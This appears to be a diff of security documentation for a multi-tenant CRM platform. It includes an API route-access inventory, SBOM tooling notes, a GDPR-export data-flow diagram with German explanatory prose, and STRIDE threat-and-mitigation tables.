| `GET /v1/workspaces/:tenantId/auth/providers` | `service-token` | Returns redacted OIDC/SAML provider metadata only; client secrets, SAML certificate bodies, private keys, token hashes, invite tokens, and raw metadata documents are omitted. | Workspace auth-provider discovery requires a service token before returning tenant-scoped SSO metadata. |
| `POST /v1/workspaces/:tenantId/context/revalidate` | `service-token` | Consumes tenant and user identifiers and returns a redacted validity envelope without provider secrets, invite tokens, token hashes, or SSO secret material. | Workspace context revalidation requires a service token before confirming tenant/user membership for a context switch. |
| `GET /v1/workspaces/:tenantId/invites` | `service-token` | Returns invite recipient details, lifecycle timestamps, audit user ids, and tokenPrefix only; plaintext tokens and token hashes are omitted. | Workspace invite listing requires a service token before returning tenant-scoped invite lifecycle state. |
| `POST /v1/workspaces/:tenantId/invites` | `service-token` | Consumes invite recipient details and returns the one-time plaintext invite token only in the create response. | Workspace invite creation requires a service token before issuing a tenant-scoped invite token. |
| `POST /v1/workspaces/:tenantId/invites/:inviteId/accept` | `service-token` | Consumes plaintext invite token and returns redacted invite lifecycle metadata without echoing the token. | Workspace invite acceptance requires a service token and a one-time invite token before finalizing tenant membership invitation state. |
| `POST /v1/workspaces/:tenantId/invites/:inviteId/revoke` | `service-token` | Consumes revoke audit metadata and returns redacted invite lifecycle metadata without token material. | Workspace invite revocation requires a service token before finalizing the tenant-scoped invite as revoked. |
| `POST /v1/events/webhooks/attempts/:id` | `webhook-signature` | Consumes signed webhook delivery metadata and an attempt id while omitting provider payloads and signing material from responses. | Webhook retry verifies Mailjet webhook signing headers before looking up or queueing a known delivery attempt. |
| `POST /v1/maintenance/export-retention/enqueue` | `service-token` | Consumes an optional bounded batch size and returns only queue task metadata plus request correlation. | Export artifact retention cleanup is an operator maintenance action and requires service credentials before enqueueing work. |
| `GET /v1/exports/:exportJobId/download-url` | `service-or-tenant-api-key` | Returns a signed artifact URL envelope without artifact bucket/key values, storage credentials, pause reason internals, filters, or object bodies. | Export download URL creation requires service credentials or a tenant-bound stored API key and blocks compliance-paused exports before returning a short-lived signed artifact URL envelope. |
| `GET /v1/exports/:exportJobId/progress` | `service-or-tenant-api-key` | Returns export progress envelope (status, percent, rowCount) — no artifact URLs, no compliance-pause internals, no filters. | Export progress polling requires service credentials or a tenant-bound stored API key; the handler scopes lookups to the caller's tenant and never leaks artifact bucket/key details. |
| `POST /v1/devices/register` | `service-token` | Persists device-bound push token. Stored token is hashed at rest; response contains only the registration id + masked token preview. | Mobile push-token registration requires a service credential (bearer/API-key) carrying user identity; the body's userId + tenantId are reconciled against the authenticated principal downstream. |
| `POST /v1/devices/revoke` | `service-token` | Returns revocation confirmation without echoing the device token or push provider internals. | Mobile push-token revocation requires a service credential; the handler revokes by token hash and never echoes the raw token. |
| `GET /status` | `public-health` | Boolean health state and deployment region tag only — no connection strings, hostnames or stack traces. | Unauthenticated status probe for external uptime monitors. Returns boolean-only health, revision, region, uptime. |
| `GET /metrics` | `service-token` | Prom text-format counters and gauges — includes business KPIs (AI tokens, mail, webhook, queue depth). Token-protected. | Prometheus scrape endpoint requires bearer METRICS_TOKEN. Returns 404 when METRICS_ENABLED is false. |
| Route | Access class | Sensitive data note | Rationale |
| -------------------------------------------------------- | ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `GET /healthz` | `public-health` | No sensitive data. | Unauthenticated liveness probe returns only service status and request correlation metadata. |
| `GET /readyz` | `public-health` | Dependency health state is exposed without implementation details. | Unauthenticated readiness probe returns redacted dependency status for infrastructure checks. |
| `GET /v1/health` | `public-health` | No sensitive data. | Versioned liveness probe returns only service status and request correlation metadata. |
| `GET /v1/openapi.json` | `public-docs` | No sensitive data. | OpenAPI discovery is intentionally public for client integration and contains schema metadata only. |
| `GET /v1/docs` | `public-docs` | No sensitive data. | Documentation shell is intentionally public and renders the OpenAPI document without runtime data. |
| `GET /v1/session/current-user` | `service-token` | Returns authenticated principal type metadata only. | Current service principal endpoint requires a bearer service token before returning authentication state. |
| `POST /v1/auth/login` | `auth-credential-exchange` | Consumes credentials and returns a JWT plus basic user identity. | Login exchanges submitted email and password credentials for a short-lived JWT after password verification. |
| `POST /v1/auth/refresh-token` | `jwt-auth` | Returns a JWT plus basic user identity. | Refresh requires an existing bearer JWT before issuing a replacement token for the same user. |
| `POST /v1/auth/logout` | `jwt-auth` | Consumes JWT credential material but returns only a success envelope and expired cookie attributes. | Logout requires an existing bearer JWT before revoking the active API session and clearing the API cookie. |
| `POST /v1/api-keys/validate` | `optional-api-key-validation` | Returns redacted stored API-key metadata but never plaintext key material. | API-key validation optionally accepts a presented stored API key or service token and reports redacted validation status without requiring a prior credential. |
| `POST /v1/platform/leads` | `platform-source-credential` | Consumes bounded platform lead contact and attribution data while omitting source capability material and submitted lead data from responses and diagnostics. | Platform lead ingestion requires a rotatable, source-scoped bearer capability; the authenticated capability selects the configured source and is revalidated atomically during pre-tenant persistence. |
| `POST /v1/support/inbound-email` | `webhook-signature` | Consumes signed email metadata and message body while omitting provider payloads and signing material from responses. | Inbound support email verifies Mailjet webhook signing headers before resolving tenant inbound addresses and creating tickets. |
| `POST /v1/email/inbound-mailjet` | `webhook-signature` | Consumes signed email metadata and message body while omitting provider payloads, recipient content, and signing material from responses. | Tenant inbound email verifies Mailjet webhook signing headers before resolving tenant inbound addresses and creating lead/activity records. |
| `POST /v1/analytics/events` | `public-analytics-token` | Consumes an anonymous analytics identifier, URLs, routes, and event labels; authenticated user and portal identifiers are rejected. | Analytics event ingestion accepts only a bounded anonymous visitor identifier and writes tenantless records in the isolated platform analytics RLS context. |
| `POST /v1/analytics/page-views` | `public-analytics-token` | Consumes an anonymous analytics identifier, URLs, and route names; authenticated user and portal identifiers are rejected. | Analytics page-view ingestion accepts only a bounded anonymous visitor identifier and writes tenantless records in the isolated platform analytics RLS context. |
| `GET /v1/analytics/public` | `public-analytics-overview` | Returns tenantless aggregate analytics counts and top-level chart data without user, tenant, or portal attribution. | Public analytics is enabled only by the operator-controlled setting and returns tenantless global aggregates from the isolated platform analytics RLS context. |
| `GET /v1/analytics/admin` | `service-token` | Returns global tenantless aggregates or aggregate metrics for an explicitly tenant-bound portal scope. | Admin analytics requires service credentials plus an operator user identifier verified through the RLS-protected AdminUser row; optional portal reads require an exact tenant and portal pair. |
| `GET /v1/notifications/stream` | `service-token` | Returns bounded, sanitized notification delivery snapshots and cursors without provider payloads, metadata, or raw delivery secrets. | Notification stream requires service credentials before returning tenant and user scoped in-app delivery diagnostics over SSE. |
| `GET /v1/accounts` | `service-token` | Returns tenant identifiers, names, slugs, icons, and subscription summary fields without plaintext secrets. | Account listing requires service credentials before returning tenant account metadata and subscription summaries. |
| `GET /v1/accounts/:id` | `service-token` | Returns tenant identifiers, names, slugs, icons, and subscription summary fields without plaintext secrets. | Account lookup requires service credentials before returning one tenant account metadata and subscription summary. |
| `GET /v1/usage` | `tenant-api-key` | Returns plan and remaining API usage metadata for the credential-scoped tenant. | Usage lookups enter through the canonical API host and validate tenant API-key credentials in the API runtime. |
| `GET /v1/contacts` | `tenant-api-key` | Returns redacted contact fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API contact reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `GET /v1/companies` | `tenant-api-key` | Returns redacted organisation contact fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API company reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `GET /v1/deals` | `tenant-api-key` | Returns redacted sales-pipeline project fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API deal reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `GET /v1/projects` | `tenant-api-key` | Returns redacted project fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API project reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `GET /v1/tasks` | `tenant-api-key` | Returns redacted task fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API task reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `GET /v1/leads` | `tenant-api-key` | Returns redacted lead-inbox fields for the credential-scoped tenant; raw payloads, anti-spam internals and credential material are omitted. | Public API lead reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `POST /v1/webhooks/incoming/:tenant/:slug` | `tenant-webhook-credential` | Consumes third-party lead payloads and stores redacted ingestion metadata; API keys, webhook tokens, HMAC material and raw signing secrets are omitted from responses. | Incoming public webhooks enter through the canonical API host, resolve the tenant endpoint, validate the endpoint credential mode and create only tenant-scoped lead intake records. |
| `POST /v1/webhooks/telephony/aircall` | `provider-body-token-webhook` | Consumes bounded call lifecycle metadata and a write-only provider token; responses disclose no tenant, credential, rate-limit, or deduplication state. | Aircall webhook ingress authenticates the provider-issued body token against its stored hash, resolves exactly one tenant connection, and re-verifies the encrypted connection credential before RLS-scoped persistence. |
| `POST /v1/webhooks/telephony/hallopetra` | `provider-header-token-webhook` | Consumes bounded post-call metadata and a write-only webhook secret; responses disclose no tenant, credential, rate-limit, or deduplication state, and native transcripts are not persisted. | HalloPetra webhook ingress authenticates the dedicated bearer secret against its stored hash, resolves exactly one tenant connection, and re-verifies the encrypted connection credential before RLS-scoped persistence. |
| `POST /v1/webhooks/admin-telephony/aircall` | `provider-body-token-webhook` | Consumes bounded call lifecycle metadata and a write-only provider token; neutral responses disclose no AdminUser, connection, credential, rate-limit, or deduplication state. | Admin Aircall webhook ingress authenticates the provider-issued body token against its stored hash, resolves one active AdminUser connection, and binds that AdminUser RLS context before idempotent persistence. |
| `POST /v1/billing/lago/webhooks` | `provider-hmac-webhook` | Consumes tenant-scoped subscription lifecycle metadata while responses omit customer identifiers, provider object identifiers, payloads, and signing material. | Lago billing webhook ingress verifies the provider HMAC over the exact request body before binding the embedded customer tenant and applying replay-safe subscription state changes. |
| `POST /v1/billing/mollie/webhooks` | `provider-refetch-webhook` | Consumes a provider payment id and stores redacted billing lifecycle metadata without returning provider payloads or plaintext credentials. | Mollie billing webhook ingress accepts only the provider payment id, refetches that payment from Mollie server-side, and syncs only tenant-scoped billing metadata from the verified payment. |
| `POST /v1/email-sequences/mailjet/webhooks` | `webhook-signature` | Consumes signed delivery event metadata while responses omit provider payloads, recipient data, and signing material. | Email-sequence provider webhooks verify Mailjet signing headers before correlating bounce events to provider message ids. |
| `POST /v1/admin-sales/email/provider-events` | `provider-hmac-webhook` | Consumes bounded delivery and engagement metadata while responses omit recipient data, provider payloads, signing material, and AdminUser identifiers. | Provider-neutral admin email events require a timestamp-bound HMAC over the exact request body before an AdminUser RLS context is bound and an idempotent event is persisted. |
| `POST /v1/admin-sales/email/bcc-inbound` | `webhook-signature` | Consumes bounded email headers and bodies while responses omit message content, recipient capability material, signing material, and AdminUser identifiers. | Admin BCC ingestion requires provider authentication and one exact signed, rotatable BCC capability before binding the embedded AdminUser RLS context. |
| `GET /v1/workspaces/:tenantId/auth/providers` | `service-token` | Returns redacted OIDC/SAML provider metadata only; client secrets, SAML certificate bodies, private keys, token hashes, invite tokens, and raw metadata documents are omitted. | Workspace auth-provider discovery requires a service token before returning tenant-scoped SSO metadata. |
| `POST /v1/workspaces/:tenantId/context/revalidate` | `service-token` | Consumes tenant and user identifiers and returns a redacted validity envelope without provider secrets, invite tokens, token hashes, or SSO secret material. | Workspace context revalidation requires a service token before confirming tenant/user membership for a context switch. |
| `GET /v1/workspaces/:tenantId/invites` | `service-token` | Returns invite recipient details, lifecycle timestamps, audit user ids, and tokenPrefix only; plaintext tokens and token hashes are omitted. | Workspace invite listing requires a service token before returning tenant-scoped invite lifecycle state. |
| `POST /v1/workspaces/:tenantId/invites` | `service-token` | Consumes invite recipient details and returns the one-time plaintext invite token only in the create response. | Workspace invite creation requires a service token before issuing a tenant-scoped invite token. |
| `POST /v1/workspaces/:tenantId/invites/:inviteId/accept` | `service-token` | Consumes plaintext invite token and returns redacted invite lifecycle metadata without echoing the token. | Workspace invite acceptance requires a service token and a one-time invite token before finalizing tenant membership invitation state. |
| `POST /v1/workspaces/:tenantId/invites/:inviteId/revoke` | `service-token` | Consumes revoke audit metadata and returns redacted invite lifecycle metadata without token material. | Workspace invite revocation requires a service token before finalizing the tenant-scoped invite as revoked. |
| `POST /v1/events/webhooks/attempts/:id` | `webhook-signature` | Consumes signed webhook delivery metadata and an attempt id while omitting provider payloads and signing material from responses. | Webhook retry verifies Mailjet webhook signing headers before looking up or queueing a known delivery attempt. |
| `POST /v1/maintenance/export-retention/enqueue` | `service-token` | Consumes an optional bounded batch size and returns only queue task metadata plus request correlation. | Export artifact retention cleanup is an operator maintenance action and requires service credentials before enqueueing work. |
| `GET /v1/exports/:exportJobId/download-url` | `service-or-tenant-api-key` | Returns a signed artifact URL envelope without artifact bucket/key values, storage credentials, pause reason internals, filters, or object bodies. | Export download URL creation requires service credentials or a tenant-bound stored API key and blocks compliance-paused exports before returning a short-lived signed artifact URL envelope. |
| `GET /v1/exports/:exportJobId/progress` | `service-or-tenant-api-key` | Returns export progress envelope (status, percent, rowCount) — no artifact URLs, no compliance-pause internals, no filters. | Export progress polling requires service credentials or a tenant-bound stored API key; the handler scopes lookups to the caller's tenant and never leaks artifact bucket/key details. |
| `POST /v1/devices/register` | `jwt-auth` | Persists a sensitive device-bound push token; the response contains registration metadata only and never returns the raw token. | Derives the owner exclusively from a verified active API-session JWT; body/header identity overrides are rejected and an optional tenant is membership-revalidated before tenant/user RLS binding. |
| `POST /v1/devices/revoke` | `jwt-auth` | Foreign user or tenant tokens are treated as not found; the response never echoes the raw token or provider internals. | Derives the owner exclusively from a verified active API-session JWT; an optional tenant is membership-revalidated before the ownership-constrained RLS write. |
| `GET /status` | `public-health` | Boolean health state and deployment region tag only — no connection strings, hostnames or stack traces. | Unauthenticated status probe for external uptime monitors. Returns boolean-only health, revision, region, uptime. |
| `GET /metrics` | `service-token` | Prom text-format counters and gauges — includes business KPIs (AI tokens, mail, webhook, queue depth). Token-protected. | Prometheus scrape endpoint requires bearer METRICS_TOKEN. Returns 404 when METRICS_ENABLED is false. |
## Verification Commands
@@ -154,9 +154,9 @@ The operator's preferred long-term SBOM-management tool is [Dependency-Track](ht
2. Upload the CycloneDX document to the Dependency-Track project for this release
3. Dependency-Track watches the OSV / NVD / GHSA feeds and notifies the operator when a new CVE matches a shipped component
### 7.4 GitHub Dependabot / Gitea Renovate
### 7.4 Gitea Renovate
These tools operate on the **source repository's lockfile**, not on the shipped SBOM. They are complementary — Dependabot/Renovate raises PRs to upgrade dependencies; the SBOM proves which version actually shipped.
Renovate operates on the **source repository's lockfile**, not on the shipped SBOM. It raises pull requests to upgrade dependencies; the SBOM proves which version actually shipped.
## 8. Incident workflow
@@ -135,21 +135,70 @@ Trust boundary: caller → loader (plugin manifest signature). Boundary: sandbox
```mermaid
flowchart LR
Admin["Tenant admin / DPO"]
Web["/admin/users/:id/export"]
API["API export endpoint"]
Worker["Worker exports.run"]
User["Tenant user / PortalUser"]
Web["Authenticated privacy / portal download route"]
Queue["hivegrid.exports"]
Writer["worker-import<br/>privacy + portal writers"]
Sweeper["worker-general<br/>15 min retention sweep"]
Storage[("Encrypted S3 bucket")]
Audit[("AuditEvent<br/>hash-chained")]
Admin --> Web
Web --> API
API -- "enqueue exports.run (CRITICAL priority)" -.-> Worker
Worker -- "stream user data (row-cap by plan)" --> Storage
Worker -- "append audit entry" --> Audit
Worker -- "signed URL (15 min)" --> Admin
User --> Web
Web -- "request bounded export" --> Queue
Queue -.-> Writer
Writer -- "SSE-C PUT (16/32 MiB cap)" --> Storage
Writer -- "append audit entry" --> Audit
Storage -- "SSE-C GET" --> Web
Web -- "authorized checked 200 attachment" --> User
Sweeper -- "DeleteObject after 24/72 h expiry" --> Storage
```
Trust boundary: admin → web (`admin.users.export` permission). Boundary: worker → storage (per-tenant prefix, server-side encryption). Boundary: audit chain (forensics; see `docs/security/incident-response.md`).
Trust boundary: user/PortalUser → the Core-Privacy- beziehungsweise
Customer-Portal-Route (Session, Tenant-/PortalUser-Ownership und Permission).
Boundary: Runtime → Storage. `worker-import` darf in die beiden deterministischen
GDPR-Prefixe schreiben, Core und Portal dürfen jeweils nur ihr eigenes Prefix
lesen, `worker-general` darf die beiden Export-Prefixe und den bestehenden
Tenant-Hard-Delete-Prefix nur eng begrenzt listen und löschen. Jede Runtime hat ein
eigenes Access-Key-Paar; nur Writer und Reader teilen den serverseitigen
32-Byte-SSE-C-Customer-Key. Dieser Key wird weder an den Browser noch in eine URL
gegeben. Exporte tragen keine benutzerdefinierten S3-Metadaten, weil Hetzner bei
SSE-C nur den Objektinhalt, nicht solche Metadaten verschlüsselt.
Der export-first Keyspace trennt
`gdpr-exports/privacy/tenants/{tenantId}/{exportJobId}/{attemptId}.zip` von
`gdpr-exports/portal/tenants/{tenantId}/{exportJobId}/{attemptId}.json`. Die
zufällige beziehungsweise deterministisch versuchsspezifische `attemptId`
verhindert, dass ein verlorener Retry ein bereits veröffentlichtes Artefakt
überschreibt. Die Portal-Objektadresse enthält keine PortalUser-ID.
Downloads prüfen Header, erwartete Länge und Obergrenze vor der Response; die
Byte-Obergrenze und exakte Endlänge werden während des begrenzten Streamings erneut
erzwungen. Download-Zähler und Audit dokumentieren deshalb den autorisierten
Download-Start, nicht den vollständig konsumierten Browser-Body. Es gibt keine
Presigned URL und keinen direkten Browserzugriff auf den Bucket. Privacy ist
ab 72 Stunden, Portal ab 24 Stunden nicht mehr abrufbar. Der 15-minütige Scheduler
löscht im ersten erfolgreichen Sweep nach Ablauf; Provider-/Queue-Ausfälle können
die physische Löschung verlängern und müssen deshalb bis zum erfolgreichen Retry
alarmieren. Die Zugriffssperre der App bleibt davon unabhängig sofort wirksam.
Bei deaktiviertem Versioning und Object Lock löscht eine auf `gdpr-exports/`
begrenzte dreitägige Provider-Lifecycle-Regel verwaiste Attempts als letzte
Rückfallebene. Sie darf keine anderen Bucket-Prefixe erfassen und ersetzt weder
den 15-Minuten-Sweep noch dessen Alarmierung; Provider-Lifecycle-Ausführung ist
asynchron und deshalb kein minutengenauer Retention-Nachweis.
Repository-Tests und Deploy-Preflight belegen diese Code- und Env-Grenzen, aber
nicht die tatsächlich aktive Hetzner-Bucket-Policy oder Provider-Semantik. Der
verbindliche Positiv-/Negativ-Proof ist daher der redigierte Staging-Operator-
Checkpoint in
[`docs/deploy/customer-portal.md`](../deploy/customer-portal.md#operator-checkpoint-provider-vertrag).
Der legacy Pfad `apps/worker/src/jobs/dsgvo-export.ts` und generische Presigned-URL-
Storage-Tests sind kein Nachweis für diesen GDPR-Vertrag. Boundary: Audit-Kette
(Forensik; siehe `docs/security/incident-response.md`).
Beim SSE-C-Cutover müssen die früheren Klartext-Keyspaces
`tenants/*/gdpr/*.zip` und `tenants/*/portal-gdpr/*/*.json` inventarisiert,
gelöscht und ihre DB-Referenzen abgelaufen beziehungsweise entfernt werden. Der
neue Reader bleibt für diese Legacy-Objekte fail-closed; es gibt keinen
Klartext-Fallback.
## STRIDE matrices per component
@@ -181,7 +230,7 @@ Each table follows the same shape: **Threat** (the STRIDE category and concrete
| **R** — Repudiated admin API call | Every `/v1/admin/*` request emits AuditEvent with request-id linkage | `apps/api/src/openapi.test.ts`, `verify:permission-matrix` | None known. |
| **I** — OpenAPI exposes admin route | OpenAPI guard rejects routes without explicit auth class | `apps/api/src/openapi.test.ts`, `verify:openapi-security` | None known. |
| **I** — Error envelope leak | Structured `{error: {code, messageKey}}` envelope; no raw `err.message` in mutating routes | `apps/api/src/error-envelope.test.ts` | B5 follow-up: a small number of legacy loaders still return string bodies. |
| **D** — Unauthenticated analytics flood | `ANALYTICS_TOKEN` gate + per-token rate-limit | `apps/api/src/route-access-inventory.test.ts` (`public-analytics-token`) | None known. |
| **D** — Unauthenticated analytics flood | Browser ingest capability plus per-IP and bounded anonymous-visitor rate limits; identity fields are rejected and writes run in an isolated tenantless RLS context | `apps/api/src/route-access-inventory.test.ts` (`public-analytics-token`) | The browser capability is intentionally public; infrastructure/WAF limits remain defense in depth. |
| **D** — Auth burst | Login rate-limit returns structured 429 | `apps/api/src/app.ts` rate-limit branch; `apps/api/src/auth.test.ts` | Distributed bursts handled by infra-level WAF. |
| **E** — Permission bypass via parameter tampering | Permission matrix loaded once at boot; every `/v1/*` handler asserts `assertCan(actor, action, resource)` | `verify:permission-matrix` | None known. |
@@ -195,20 +244,20 @@ Each table follows the same shape: **Threat** (the STRIDE category and concrete
| **R** — Side-effect replay without audit | Outbox is the only path to external side-effects in critical flows; receivers wrap with `withOutboxIdempotency` | `apps/worker/src/jobs/outbox-dispatcher.test.ts` | Legacy direct producers still exist; migration tracked in #42 follow-ups. |
| **I** — Job payload leak | PII-redaction at enqueue (`@hivegrid/logger` redact rules); SBOM excludes payload | `packages/logger/src/redact.test.ts` | Operator must verify Sentry breadcrumb scrubbers. |
| **D** — Queue starvation | Per-group queue separation (`general`, `mail`, `import`, `webhook`) + concurrency caps + job-priority | `apps/worker/src/queues.test.ts`, `docs/architecture/job-priority.md` | Operator must size per group; see runbook. |
| **E** — Worker → DB privilege escalation | Worker connects with role limited to required tables; no admin DDL grants | `infra/postgres/init.sql` + Coolify role provisioning | Mis-grant by operator → audited via [`docs/operations/database-rollback.md`](../operations/database-rollback.md). |
| **E** — Worker → DB privilege escalation | Worker connects as `hivegrid_worker`: `NOBYPASSRLS`, no role memberships, no DDL authority; job context may set only the trusted tenant identity | `scripts/provision-rls-roles.mjs`, `apps/worker/src/rls-context.ts`, `packages/db/src/rls-runtime-readiness.server.ts`, `verify:rls-live` | The production role/Coolify state still has to be verified during rollout; a mis-grant is a release blocker. |
### 4. Database (Postgres + PgBouncer + replicas)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Forged connection | mTLS to PgBouncer in production; per-app credentials in `userlist.txt` | `infra/pgbouncer/pgbouncer.ini`, `docs/ops/pgbouncer.md` | Operator must rotate per release. |
| **S** — Forged connection | PgBouncer is non-public, uses SCRAM-SHA-256, and carries separate credentials for `hivegrid_app`, `hivegrid_worker`, callback-only `hivegrid_authentik_jit`, and its admin probe | `infra/pgbouncer/pgbouncer.ini`, `docs/ops/pgbouncer.md`, `scripts/provision-rls-roles.mjs` | Transport/network controls and credential rotation remain operator-owned and must be verified in the target environment. |
| **T** — SQL injection | Prisma parameterized queries only; `$queryRaw` requires tagged template + lint rule | ESLint custom rule + grep guard in CI | `$executeRawUnsafe` banned in app code (allowed in CLI for migrations). |
| **T** — Backup tampering | Backups encrypted with age; SHA256 manifest signed at write | `docs/ops/backup-cli.md`, `packages/cli/src/backup/*.test.ts` | Encryption key custody: operator-owned. |
| **R** — Direct DB write without audit | Per-tenant write happens through Prisma + AuditEvent emission; direct `psql` writes flagged by `pg_stat_statements` review | [`docs/operations/database-rollback.md`](../operations/database-rollback.md) | Operator runbook. |
| **I** — Cross-tenant read | Every model query carries tenantId; static inventory snapshot enforced by test | `verify:tenant-isolation-report` | RLS not yet enforced; runtime integration test still pending (C3). |
| **I** — Replica leak | Read replicas configured with `hot_standby=on`, `default_transaction_read_only=on`; `DATABASE_READ_URL` user has SELECT only | `docs/architecture/rw-split.md`, `infra/postgres/replica.sql` | Operator must verify replica grants per release. |
| **I** — Cross-tenant read/write | Every Prisma model is explicitly classified; all 264 RLS definitions are generated from a reviewed policy contract, tenant tables use `ENABLE` + `FORCE RLS`, and runtime GUCs are transaction-local | `verify:tenant-policy-contract`, `verify:rls-release-readiness`, `verify:rls-live`, `prisma/migrations/20260713190000_appwide_rls_cutover/migration.sql` | Repository and ephemeral PostgreSQL proof do not prove the production cutover. Existing production data, roles, PgBouncer, replicas, and Coolify env must pass the rollout checks before traffic is enabled. |
| **I** — Replica leak | The read client is probed against the same restricted runtime-role, forced-RLS, policy, definer-allowlist, and empty-GUC contract as the write client | `packages/db/src/rls-runtime-readiness.server.ts`, `docs/architecture/rw-split.md` | Actual replica role/grant and migration lag must pass readiness in the target environment before it receives traffic. |
| **D** — Connection exhaustion | PgBouncer transaction pooling + per-app `max_client_conn` | `docs/ops/pgbouncer.md` | Long transactions block pool; mitigated by `statement_timeout`. |
| **E** — Privilege escalation in DB | Per-app role with least privilege; `pgcrypto` and `vector` extensions granted to migrator only | `infra/postgres/init.sql` | Operator must audit role grants per release. |
| **E** — Privilege escalation in DB | `hivegrid_app`, `hivegrid_worker`, and `hivegrid_authentik_jit` are `LOGIN NOBYPASSRLS` without memberships; the JIT login has no table/sequence privileges and can execute exactly one callback capability. `hivegrid_migrator` is non-superuser and may only `SET ROLE` to the `NOLOGIN BYPASSRLS` owner of an exact allow-list of narrow `SECURITY DEFINER` functions | `scripts/provision-rls-roles.mjs`, `packages/db/src/rls-runtime-readiness.server.ts`, `verify:rls-live` | The definer allow-list and grants must be reviewed whenever a new pre-tenant/platform capability is introduced; production grant drift fails readiness. |
### 5. Two-tier cache (Redis L2 + in-memory L1)
@@ -233,11 +282,11 @@ Each table follows the same shape: **Threat** (the STRIDE category and concrete
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Spoofed presigned URL | Server-side signing with provider IAM credentials; client never holds long-lived keys | `packages/storage/src/s3.test.ts` | None known. |
| **S** — Spoofed presigned URL | Server-side signing with provider IAM credentials; client never holds long-lived keys; GDPR exports use no presigned URL | `packages/storage/src/s3-client.test.ts`, `packages/storage/src/sse-c.test.ts` | GDPR provider policy remains an operator checkpoint. |
| **T** — Upload of malicious file | AV scanner layer 1 (magic-bytes) + layer 2 (ClamAV planned) | `packages/storage/src/av-scan.test.ts`, `docs/ops/asset-cdn.md` | Layer 2 (ClamAV) container provisioning is operator step. |
| **I** — Public bucket exposure | Buckets default to private; ACL test enforces | `packages/storage/src/bucket-policy.test.ts` (operator-run) | Operator must verify per environment. |
| **D** — Egress cost burn | Per-tenant rate-limit on signed-URL issuance | `packages/storage/src/rate-limit.test.ts` | Operator-side WAF + Bunny CDN absorb large bursts. |
| **E** — Cross-tenant object read | Object key prefixed with `tenant:{tenantId}/...`; loader verifies prefix matches actor's tenant | `packages/storage/src/key-scope.test.ts` | None known. |
| **I** — Public bucket exposure | Buckets default to private; runtime keys remain action/prefix scoped | `packages/storage/src/s3-client.test.ts`, operator checkpoint in `docs/deploy/customer-portal.md` | Operator must verify per environment. |
| **D** — Egress cost burn | Distributed principal/artifact gate and bounded streaming on authenticated GDPR proxy; bounded signed-URL issuance elsewhere | `apps/web/app/utils/privacy/gdprExportDownloadGate.server.test.ts`, `packages/storage/src/sse-c.test.ts` | Operator-side WAF absorbs larger public bursts. |
| **E** — Cross-tenant object read | Tenant-bound key guards plus action/prefix-scoped runtime credentials | `packages/storage/src/access/index.test.ts`, `packages/storage/src/paths/index.test.ts`, `packages/storage/src/sse-c.test.ts` | Provider policy remains an operator checkpoint. |
### 8. Mail (`packages/mail`)
@@ -316,15 +365,16 @@ Each table follows the same shape: **Threat** (the STRIDE category and concrete
| **I** — Payload exfiltration | Outbound payload built from typed event schema; PII redacted before send | `packages/webhooks/src/payload.test.ts` | Operator must vet customer-configured destinations. |
| **D** — Slow-loris destination | Per-destination concurrency cap + timeout; circuit-breaker after consecutive failures | `apps/worker/src/jobs/webhook-delivery.test.ts` | None known. |
### 16. Form widget + lead capture
### 16. Form widget + native platform-lead intake
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Forged embed origin | Origin allow-list per form (tenant-configured); `MARKETING_ALLOWED_ORIGINS` for global | `apps/web/app/routes/api.leads.capture.test.ts` | Operator must keep allow-list current. |
| **T** — Submission tampering | Server validates schema; honeypot field; Turnstile gate when enabled | `apps/web/app/routes/api.embed.forms.submit.test.ts` | Sophisticated bots may still pass Turnstile; rate-limit caps damage. |
| **S** — Forged platform source | Source-specific hashed Bearer credential; source identity comes only from that credential | `apps/api/src/routes/platform-lead-routes.test.ts` | Credential compromise requires immediate rotation/revoke. |
| **T** — Submission tampering/replay | Strict schema/body limit plus mandatory source-partitioned idempotency hash | `apps/api/src/routes/platform-lead-routes.test.ts`, `packages/db/src/platform-leads.rls.integration.test.ts` | A producer must reuse its submission ID until acknowledgement. |
| **T** — Embed-snippet tampering | SRI hash on `widget.js` (planned per form-widget detail-md follow-up) | `docs/features/form-widget.md` | Until SRI ships, customer must serve widget over HTTPS. |
| **I** — Lead PII exposure | Submissions stored per-tenant; admin inbox requires `marketing.leads.read` | `apps/web/app/routes/admin.marketing-leads.test.tsx` | None known. |
| **D** — Spam flood | Sliding-window rate-limit (5/min IP, 1/min email); Turnstile when enabled | `apps/web/app/routes/api.leads.capture.test.ts` | Distributed bots may evade IP limit. |
| **I** — Platform-lead PII exposure | Operator RLS + `read_own`/`read_all`; PII-free audit/outbox/queue payloads | `packages/db/src/platform-leads.rls.integration.test.ts`, `apps/worker/src/jobs/platform-notification-outbox.test.ts` | Privileged operators still require normal access review. |
| **D** — Spam/credential probing | Pre-auth IP limit plus source-specific rate limit; disabled ingress returns neutral 404 | `apps/api/src/public-ingress-rate-limit.test.ts`, `apps/api/src/routes/platform-lead-routes.test.ts` | Distributed probing remains observable via ingress metrics. |
| **R** — Stale browser writer | Legacy `/api/leads/capture` is write-free and returns 410; `marketing.js` removed | `apps/web/app/routes/api.leads.capture.test.ts` | Keep drain monitoring until all stale clients disappear. |
### 17. Feature flags + targeting
@@ -381,7 +431,8 @@ Each table follows the same shape: **Threat** (the STRIDE category and concrete
## Cross-cutting controls
- **Secret handling** — secrets never read from UI code; `@hivegrid/config` exposes typed loaders. `.env.test` allow-listed; `.env` git-ignored. See `docs/env-access-inventory.md`.
- **Branding / infra parametrization** — `BRAND_*` env vars and `scripts/infra-config.mjs` give forks override knobs without removing the verify-gate contract — see `docs/deployment-porting.md`.
